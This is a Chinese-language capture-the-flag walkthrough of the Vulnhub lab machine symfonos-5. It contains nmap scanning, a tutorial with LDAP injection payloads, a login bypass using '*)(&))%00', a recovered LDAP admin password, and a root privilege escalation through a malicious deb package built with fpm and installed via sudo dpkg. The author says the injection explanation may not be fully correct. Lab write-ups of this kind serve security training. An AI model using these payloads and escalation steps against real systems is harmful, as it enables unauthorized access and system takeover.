OSCP-Intermediate-symfonos_5
symfonos-5
来源:Vulnhub
难度:Intermediate
nmap -O -A -Pn -sV -sS -p- 192.168.36.0/24 -vv -exclude 192.168.36.132
# 对除了192.168.36.132之外的目标进行全端口SYN半开扫描,探测系统和服务
发现目标192.168.36.137
开启了80,22,389,636
端口,对应web,ssh,ldap,ldap_ssl服务
使用dirb扫描发现登录口,结合ldap服务,猜测是ldap注入漏洞,此处简要做一下漏洞介绍:
ldap服务是轻量级目录访问协议,用于在目录的资源中搜索和查询,类似理解为数据库。既然需要查询,就有它自己的查询语句,就像关系型数据库有sql语句来查询,此时就想到了sql注入,对于登录框,也许也存在类似于sql注入的漏洞。于是特意查了一下是否存在ldap的注入,也确实存在这样的注入漏洞。
此处断开,简(我)单(也)介(只)绍(会)一(这)下(些)ldap注入漏洞,内容不一定正确,都是我自己的理解:
既然类似于sql注入,学会sql注入,就要先了解sql语句。学习ldap注入漏洞,就要学会其基本语法。
先介绍基本语法:
“()”:语句的起始,例如(attribute=value)。
“=”:某个属性等于某个值,查找姓名为a的对象,可写为(name=a)
“&”:与,查找符合所有过滤条件(语句)的对象。
“!”:非,查找都不符合过滤条件(语句)的对象。
“|”:或,查找至少符合一个过滤条件(语句)的对象。
“*”:通配符,无论属性值是什么,全部匹配(这个赶觉很有用)。
“>=”:大于等于。
“<=”:小于等于。
最后举几个例子:
查询账号是admin且密码是password的对象:(&(account=admin)(passwd=password))
查询账号是admin或密码是password的对象:(|(account=admin)(passwd=password))
查询账号不是admin的对象:(!(account=admin))
接下来就是漏洞的产生原理:
和sql注入相似,就是让用户输入构成查询语句,查询我们想要的东西,对于用户的输入,程序没有进行很好的过滤,导致用户可以输入恶意语句以构造查询语句,以此进行恶意活动。
利用方法(针对openldap):
利用方法也和sql注入相似,唯一区别是它没有注释符。利用该漏洞就是加入字符,闭合语句,比如(&(account=admin)(passwd=password)),攻击语句对account点进行注入,输入为admin)(attack),此时结合成的语句就是(&(account=admin)(attack))(passwd=password)),这句 语句是不对的,但是还是会从左往右执行,并且忽略掉(passwd=password))这个语句。
检测办法:看回显,无论是报错回显还是正确回显。
注入类型:有回显和盲注。
因为没有现成的靶场,所以具体盲注和有回显注入也只能遇到了就自己体会吧。看到了其他好多博客,只能总结出几个语句,没有实图,有的可能会在该靶场用到。
有回显型:
And注入,查询语句:(&(account=admin)(passwd=password)),注入语句admin)(&),形成(&(account=admin)(&))(passwd=password)),此时形成登录万能钥匙,前提是用户名得真实存在。
Or注入,查询语句:(|(account=admin)(passwd=password)),注入语句可为admin)(uid=*),形成(|(account=admin)(uid=*))(passwd=password)),此时应该可以查出所有的用户(别问,上面说过了)。
盲注(常用通配符*),利用方法和上面差不多:
And盲注:查询语句:(&(account=admin)(passwd=password)),注入语句*)(account=*),形成(&(account=*)(account=*))(passwd=password))。
Or盲注:查询语句:(|(account=admin)(passwd=password)),注入语句可为admin)(uid=1),形成(|(account=admin)(uid=1))(passwd=password))。
通配符可以用于猜解信息。对于这个漏洞。总之就是闭合就对了。
注:经过我在该靶机上的多次实践后发现,无论用万能钥匙怎么登录,都是失败。终于再次阅读了一些博客后,终于找到了一个解决办法,就是在注入语句后加入%00截断。也许这个靶机的openldap检查了语义,语义不正确则不让放行。当然万能密码前提是不变,那就是前提是用户名得正确。
在账户处输入ldap注入*)(&))%00
(这里的%00有时需要有时不需要,实际操作时可以都测试一下),在密码处随意输入,即可登录,登陆后发现文件包含,尝试后发现只能回显文件内容,不能执行,于是尝试包含网页文件查看其源代码,在源代码中发现登录ldap的相关信息:
如图,cn=admin,dc=symfonos,dc=local
(有cn)即为账号,qMDdyZh3cT6eeAWD
即为密码,而dc=symfonos,dc=local
则是初始目录,利用这些信息通过工具登录ldap,发现用户zeus的密码:
尝试ssh登录成功登录,使用提权脚本发现当前用户可以使用sudo来执行dpkg,遂尝试安装恶意软件包来提权,我们可以使用fpm将恶意sh脚本打包为包括deb在内的各种格式并安装,具体过程如下:
mkdir debname # 创建一个与包名相同的文件夹
echo '#!/bin/bash' > debname/debname.sh
echo 'exec /bin/bash' >> debname/debname.sh # 为恶意脚本写入内容,这里的命令可以是反弹shell,也可以是像例子这样直接获取一个rootshell
fpm -n debname -s dir -t deb --before-install ./debname/debname.sh ./debname
创建好恶意deb包后即可使用sudo dpkg -i debname.deb
来安装恶意包并提权: